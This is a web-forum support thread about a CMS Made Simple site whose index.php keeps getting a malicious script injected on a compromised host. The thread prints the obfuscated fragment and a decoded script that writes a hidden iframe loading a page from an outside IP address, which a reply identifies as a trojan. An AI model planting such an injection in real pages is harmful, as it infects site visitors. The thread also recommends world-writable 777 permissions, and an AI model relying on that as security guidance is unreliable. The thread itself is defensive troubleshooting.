Parse error: syntax error, unexpected T_STRING on new install

[MED]

Alright, perhaps someone has run into this before:

I've got my CMSMS site up running this morning.  Everything looks fine for most of the day and I have got most of the pages up, I take a break and come back and I get this message.

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in / . . .  /index.php on line 61

This actually happened yesterday also.  I had what seemed like a successful install and start building the site, but when I come in this morning I got the exact same message (same line number).  I removed and reinstalled CMSMS and was fine until it happened again just now.  I'm not seeing any correlation between any action on my part and the error message.  I did install the Album module a couple hours before this last error message.  I have uninstalled/removed it to no avail.  Does this sound ISP related or perhaps I'm screwing up somewhere.

I'm currently running CMSMS 1.2.2 on HostGator, Apache version 1.3.39 (Unix), PHP 4.4.4, MySQL 4.1.22-standard. 

Any help would be appreciated, thanks!

[MED]

Oops. tmp/cache wasn't writable.  Set permissions 777, replaced index.php and we're back running.  Not quite sure why the error page below didn't come up.  Oh well.  Thanks!

LINES 59-68

if (!is_writable(TMP_TEMPLATES_C_LOCATION) || !is_writable(TMP_CACHE_LOCATION))
{
echo 'Error';
echo 'The following directories must be writable by the web server:
';
echo 'tmp/cache
';
echo 'tmp/templates_c
';
echo 'Please correct by executing:
chmod 777 tmp/cache
chmod 777 tmp/templates_c
or the equivilent for your platform before continuing.';
echo '';
exit;
}

[MED]

So I guess I was premature in saying SOLVED...

I came in this morning to the same error again. This time I definitely didn't touch anything.  ISP? Problem with CMS caching? 

[MED]

Alright so now I see that this is being appended to my line 61 (echo statement, see above) every 6 hours or so. 


function
v4762ca773a9b0(v4762ca773b1a3){ function v4762ca773c26c () {return 16;} return(parseInt(v4762ca773b1a3,v4762ca773c26c()));}function v4762ca77411a9(v4762ca774468c){ function v4762ca774bedc () {return 2;} var v4762ca7747b5d='';for(v4762ca774a83d=0; v4762ca774a83d';


I am rather new...Anybody?  Still waiting for host customer service response.

[Nullig]

Something or someone is injecting this script into your page:

Code: Select all

<__script__>window.status='Done';document.write('<__iframe name=be src=\'http://77.221.133.188/.if/go.html?'+Math.round(Math.random()*159530)+'1d3154978b\' width=602 height=265 style=\'display: none\'></__iframe>')</__script>

The IP in the script is on a Russian server.

Nullig

[MED]

Sounds like this may be out of the scope of this forum, but I'll ask anyway. 

Since I'm the only one with legitimate access, could this be hoster/server generated?

What could the purpose of the script be?

Might this be prevented by simply changing user permissions (444)?

Thanks for the help!

[Nullig]

If you google the string, you'll find that it's a trojan.

It looks like your host/server has been compromised. I would get in touch with them to see how widespread the problem is.

Does it go away when you "Clear Cache" in the Admin module?

Nullig